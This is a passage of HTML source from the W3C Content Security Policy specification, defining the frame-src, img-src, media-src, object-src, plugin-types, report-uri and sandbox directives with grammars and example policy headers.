id=\"directive-frame-src\"><span class=\"secno\">7.8. </span><span class=\"content\"><code>frame-src</code></span><a class=\"self-link\" href=\"#directive-frame-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_src\">frame-src<a class=\"self-link\" href=\"#frame_src\"></a></dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.</p>\n     \n\n\n     <p>The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"frame-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-sources\">allowed frame sources<a class=\"self-link\" href=\"#allowed-frame-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-sources\">allowed frame sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> in the\n      protected resource created by an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> or a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code> element.\n\n      \n      <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#navigate\">Navigated</a> such a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.9\" id=\"directive-img-src\"><span class=\"secno\">7.9. </span><span class=\"content\"><code>img-src</code></span><a class=\"self-link\" href=\"#directive-img-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"img_src\">img-src<a class=\"self-link\" href=\"#img_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"img-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-image-sources\">allowed image sources<a class=\"self-link\" href=\"#allowed-image-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>img-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-image-sources\">allowed image sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Requesting data for an image, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src\">src</a></code> or <code>srcset</code> attributes of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element, the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/forms.html#attr-input-src\">src</a></code> attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-input-element\">input</a></code> element with a type of\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/forms.html#attr-input-type-image-keyword\">image</a></code>, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-video-poster\">poster</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> element,\n      the <span class=\"css\">url()</span>, <a class=\"production css\" data-link-type=\"function\" href=\"http://dev.w3.org/csswg/css-images-4/#funcdef-image\">&lt;image()></a> or <a class=\"production css\" data-link-type=\"function\" href=\"http://dev.w3.org/csswg/css-images-3/#funcdef-image-set\">&lt;image-set()></a> values on any\n      Cascading Style Sheets (CSS) property that is capable of loading an image\n      <a data-link-type=\"biblio\" href=\"#biblio-css4-images\">[CSS4-IMAGES]</a>, or the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> element\n      with an image-related <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a></code> attribute, such as <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/links.html#rel-icon\">icon</a></code>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.10\" id=\"directive-media-src\"><span class=\"secno\">7.10. </span><span class=\"content\"><code>media-src</code></span><a class=\"self-link\" href=\"#directive-media-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_src\">media-src<a class=\"self-link\" href=\"#media_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"media-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-media-sources\">allowed media sources<a class=\"self-link\" href=\"#allowed-media-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>media-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-media-sources\">allowed media sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a video or audio clip, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-media-src\">src</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, or\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code> element.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.11\" id=\"directive-object-src\"><span class=\"secno\">7.11. </span><span class=\"content\"><code>object-src</code></span><a class=\"self-link\" href=\"#directive-object-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"object_src\">object-src<a class=\"self-link\" href=\"#object_src\"></a></dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"object-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-object-sources\">allowed object sources<a class=\"self-link\" href=\"#allowed-object-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>object-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a plugin, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code> attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-embed-src\">src</a></code>\n      attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, or the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/obsolete.html#dom-applet-code\">code</a></code> or\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/obsolete.html#dom-applet-archive\">archive</a></code> attributes of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element.\n      \n\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>\n      in the protected resource created by an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      element.\n      \n\n      \n      <li>Navigating such a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>It is not required that the consumer of the element’s data be a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element MUST\n    match the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a> in order to be fetched. This is true\n    even when the element data is semantically equivalent to content which would\n    otherwise be restricted by one of the other <a href=\"#directives\">§7 Directives</a>, such as an\n    <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element with a <code>text/html</code> MIME type.</p>\n     \n\n\n     <p>Whenever the user agent would load a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> without an associated\n    URL (e.g., because the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element lacked a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code>\n    attribute), if the protected resource’s URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST NOT load the plugin.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.12\" id=\"directive-plugin-types\"><span class=\"secno\">7.12. </span><span class=\"content\"><code>plugin-types</code></span><a class=\"self-link\" href=\"#directive-plugin-types\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"plugin_types\">plugin-types<a class=\"self-link\" href=\"#plugin_types\"></a></dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-plugin-media-types\">allowed plugin media types<a class=\"self-link\" href=\"#allowed-plugin-media-types\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the <code>plugin-types</code>\n    directive’s value as a media type list</a>.</p>\n     \n\n\n     <p>Whenever the user agent would instantiate a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a> if any of the following\n    conditions hold:</p>\n     \n\n    \n     <ul>\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element that does not explicitly\n        declare a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#mime-type\">MIME type</a> via a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code>\n        attribute.\n      \n\n        \n      <li><var>resource</var>’s media type does not\n        <a data-link-type=\"dfn\" href=\"#match-a-media-type-list\">match</a> the list of <a data-link-type=\"dfn\" href=\"#allowed-plugin-media-types\">allowed\n        plugin media types</a>.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, and the media type declared\n        in the element’s <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n        case-insensitive match</a> for the <var>resource</var>’s media\n        type.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, and <var>resource</var>’s media type is not an\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for\n        <code>application/x-java-applet</code>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#fallback-content\">fallback\n    content</a>.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> in a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> in the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user\n    agent is enforcing any <code>plugin-types</code> directives for the\n    protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those\n    <code>plugin-types</code> directives on the plugin document as well.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> in a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> in the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user\n    agent is monitoring any <code>plugin-types</code> directives for the\n    protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those\n    <code>plugin-types</code> directives on the plugin document as well.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.1\" id=\"plugin-types-usage\"><span class=\"secno\">7.12.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#plugin-types-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf</pre>\n      \n\n\n      <p>Resources embedded via an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.</p>\n      \n  \n     </section>\n     \n  \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.2\" id=\"plugin-types-predeclaration\"><span class=\"secno\">7.12.2. </span><span class=\"content\">\n        Predeclaration of expected media types\n      </span><a class=\"self-link\" href=\"#plugin-types-predeclaration\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Enforcing the <code>plugin-types</code> directive requires that\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:</p>\n      \n\n\n      <pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\">&lt;/object></pre>\n      \n\n\n      <p>If <var>resource</var> isn’t actually a PDF file, it won’t\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.13\" id=\"directive-report-uri\"><span class=\"secno\">7.13. </span><span class=\"content\"><code>report-uri</code></span><a class=\"self-link\" href=\"#directive-report-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report_uri\">report-uri<a class=\"self-link\" href=\"#report_uri\"></a></dfn></code> directive specifies a URL to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"report-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"uri_reference\">uri-reference<a class=\"self-link\" href=\"#uri_reference\"></a></dfn>     = &lt;URI-reference from RFC 3986>\n</pre>\n     \n\n\n     <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"set-of-report-urls\">set of report URLs<a class=\"self-link\" href=\"#set-of-report-urls\"></a></dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource’s URL.</p>\n     \n\n\n     <p>The process of sending violation reports to the URLs specified in\n    this directive’s value is defined in this document’s\n    <a href=\"#violation-reports\">§4.4 Reporting</a> section.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=\"#delivery-html-meta-element\"><code>meta</code>\n    element</a>.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.14\" id=\"directive-sandbox\"><span class=\"secno\">7.14. </span><span class=\"content\"><code>sandbox</code></span><a class=\"self-link\" href=\"#directive-sandbox\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox\">sandbox<a class=\"self-link\" href=\"#sandbox\"></a></dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"sandbox\"\ndirective-value   = \"\" / sandbox-token *( 1*WSP <a data-link-type=\"dfn\" href=\"#sandbox_token\">sandbox-token</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox_token\">sandbox-token<a class=\"self-link\" href=\"#sandbox_token\"></a></dfn>     = &lt;token from RFC 7230>\n</pre>\n     \n\n\n     <p>When enforcing the <code>sandbox</code> directive, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n    as the output. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n     \n\n\n     <p>The <code>sandbox</code> directive will be ignored when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a>\n    a policy, and when contained in a policy defined via a\n    <a href=\"#delivery-html-meta-element\"><code>meta</code> element</a>.\n    Moreover, this directive has no effect when <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a>, and has no\n    reporting requirements.</p>\n     \n\n    \n     <h4 class=\"heading settled\" data-level=\"7.14.1\" id=\"sandboxing-and-workers\"><span class=\"secno\">7.14.1. </span><span class=\"content\">Sandboxing and Workers</span><a class=\"self-link\" href=\"#sandboxing-and-workers\"></a></h4>\n     \n\n\n     <p>When delivered via an HTTP header, a Content Security Policy may indicate\n    that sandboxing flags ought to be applied to a JavaScript execution\n    environment that is not a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>. Of particular interest is the\n    script content intended for use as a Worker, Shared Worker, or Service\n    Worker. Many of the sandboxing flags do not apply to such environments, but\n    <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> and\n    <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> have special\n    requirements.</p>\n     \n\n\n     <p>When a resource is loaded while executing the <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a\n    <code>Worker</code></a> algorithm, the user agent MUST act as if there was\n    a fatal network error and no resource could be obtained if either of the\n    following conditions holds:</p>\n     \n\n    \n     <ol>\n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> flag.\n      \n      \n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> flag, <em>and</em>\n        the creation of the new execution context requires it to be same-origin\n        with its creating context.\n      \n      \n    \n     </ol>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.14.2\" id=\"sandbox-usage\"><span class=\"secno\">7.14.2. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#sandbox-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n      \n      <p>HTML5 defines a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-sandbox\">sandbox</a></code> attribute for\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content’s abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute’s value.\n\n</p>\n      <p>The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.</p>\n      \n\n\n      <p>For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></pre>\n      \n\n\n      <p>More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive’s value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn’t treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code> flag:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a> <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></pre>\n      \n\n\n      <p>The set of flags available to the CSP directive should match those\n      available to the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> attribute.\n      Currently, those include:</p>\n      \n\n      \n      <ul>\n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-forms\">allow-forms</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-pointer-lock\">allow-pointer-lock</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-popups\">allow-popups</a></code>\n       \n        \n       